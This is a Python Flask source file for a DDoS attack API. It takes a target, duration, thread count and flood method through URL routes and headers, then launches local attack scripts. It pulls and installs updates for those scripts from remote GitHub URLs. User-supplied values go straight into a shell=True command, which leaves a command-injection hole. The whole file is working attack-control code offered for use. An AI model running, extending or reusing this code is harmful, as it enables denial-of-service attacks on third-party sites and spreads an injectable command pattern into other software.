main.py

from flask import Flask,request

app = Flask(__name__)
import subprocess,os
import threading

def execute_command(command):subprocess.Popen(command, shell=True)

@app.route('/STOP')
def stop():
    data = ''
    c = 1
    with open(os.getcwd()+"/meth/STOP.txt","r") as f:
        data = f.read().upper().replace("\n","")
    with open(os.getcwd()+"/meth/STOP.txt","w") as f:
        if data in ['YES','TRUE']:f.write("NO"); c = 0
        else:f.write("YES")
    return f'{data} --> {c}'

@app.route('/STATUS')
def status():
    data = ''
    with open(os.getcwd()+"/meth/STOP.txt","r") as f:
        data = f.read().upper().replace("\n","")
        if data in ['YES','TRUE']:return 'STOPPED'
        else:return 'RUNNING'

@app.route('/target=<TARGET>&time=<TIME>&threads=<THREAD>&methods=<METHODS>')
def req(TARGET, TIME, THREAD, METHODS):
    upper_methods = METHODS.upper()
    if upper_methods in ['HTTP-19','HTTP-VAR','HTTP-FU','HTTP-ELE', 'BROWSER', 'HANDSHAKE', 'AMP', 'MURD-OPT','MURD','RAPID-FAST','COOKIE2','COOKIE']:
        ports_opt = request.headers.get('X-Port')
        if ports_opt is None: ports_opt = 80
        meth_opt = request.headers.get('X-Methods')
        if meth_opt is None:
            if upper_methods not in ['BROWSER', 'HANDSHAKE', 'AMP', 'MURD-OPT','MURD','RAPID-FAST','COOKIE','COOKIE2']:meth_opt = 'POST'
            else:meth_opt = 'GET'
        protocols = request.headers.get('X-Protocols')
        if protocols is None:protocols = 'https'
        links = request.headers.get('X-Links')
        if links is None:links = '/'
        proxy = request.headers.get('X-Browser')
        folder = 'meth/'
        com = f"python {folder}{upper_methods.replace('-','_')}.py "
        if upper_methods in ['HTTP-19','HTTP-VAR','HTTP-FU']:
            com += f"{TARGET} {ports_opt} {THREAD} {TIME} {meth_opt}"
        elif upper_methods == 'HTTP-ELE':
            com += f"{TARGET} {ports_opt} {THREAD} {meth_opt}"
        else:
            if upper_methods in ['MURD-OPT','MURD','RAPID-FAST']:
              com += f"{protocols}://{TARGET}{links} {THREAD} {meth_opt}"
            else:
             com += f"{protocols}://{TARGET}{links} {THREAD} {TIME} {meth_opt}"
             if upper_methods == 'BROWSER':
              com += f" {proxy} command.txt"
             elif upper_methods in ['COOKIE','COOKIE2']:
              com += f" {proxy}"
        threading.Thread(target=execute_command,args=(com,)).start()
        return f'{METHODS} {THREAD}/{TIME}s HTTP={meth_opt} --> {TARGET}'
    else:return 'IDK'

import requests,json,datetime,hashlib

def datetime_to_epoch():
    date_string = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    date_obj = datetime.datetime.strptime(date_string, "%Y-%m-%d %H:%M:%S")
    return int(date_obj.timestamp())

def epoch_to_datetime(epoch_time):
    datetime_obj = datetime.datetime.fromtimestamp(epoch_time)
    return datetime_obj.strftime('%Y-%m-%d %H:%M:%S')

def link(path,l='https://raw.githubusercontent.com/Hex1629/API_DOSvNEW'):c = path.replace('\\','/'); return requests.get(f"{l}/main{c}").content

def read(path):
  try:
   with open(path,'r') as f:return f.read(); print("r")
  except:
    try:
      with open(path,'rb') as f:return f.read(); print("RB")
    except:return False

def write(path,contents):
  try:
   with open(path,'w') as f:f.write(contents)
  except:
    try:
      with open(path,'wb') as f:f.write(contents)
    except Exception as e:print(e)

def hash_checked(data,data2):
  try:update_data = hashlib.sha256(data.encode()).hexdigest()
  except:update_data = hashlib.sha256(data).hexdigest()
  if data2 != False:
   try:current_data = hashlib.sha256(data2.encode()).hexdigest()
   except:current_data = hashlib.sha256(data2).hexdigest()
   if current_data == update_data:return True
  return False

def list_update():
    c = 0
    while True:
     try:
        data = json.loads(link("/lst.json","https://raw.githubusercontent.com/Tool-Free/api_assets").decode()); break
     except Exception as e:
        print(f"[{epoch_to_datetime(datetime_to_epoch())}] REASON={e} ERROR CONTACT t.me/IDKOTHERHEX1629 FOR CHECK . . .")
    print(f"[{epoch_to_datetime(datetime_to_epoch())}] DOWNLOAD JSON DONE . . .")
    error = link("a")
    for a in data["LIST"].keys():
       files = link(data['LIST'][a]).decode().replace('\r','')
       if hash_checked(files,error.decode()) == True:print(f"[{epoch_to_datetime(datetime_to_epoch())}] {a} ERROR PAGE 404 . . .")
       else:
           path = os.getcwd()
           file_data = read(path+data["LIST"][a])
           if hash_checked(files,file_data) == False:
            if file_data == files:print("GONE PLS")
            else:
               print(f"[{epoch_to_datetime(datetime_to_epoch())}] {a} HAS BEEN UPDATE . . .")
               threading.Thread(target=write,args=(path+data["LIST"][a],files)).start(); c = 1
           else:print(f"[{epoch_to_datetime(datetime_to_epoch())}] {a} UPDATE BEFORE. . .")
    if c == 1:return True

if list_update() == True:print("RESTART PROGRAM!"); os.system('python main.py')
else:
 app.run('0.0.0.0')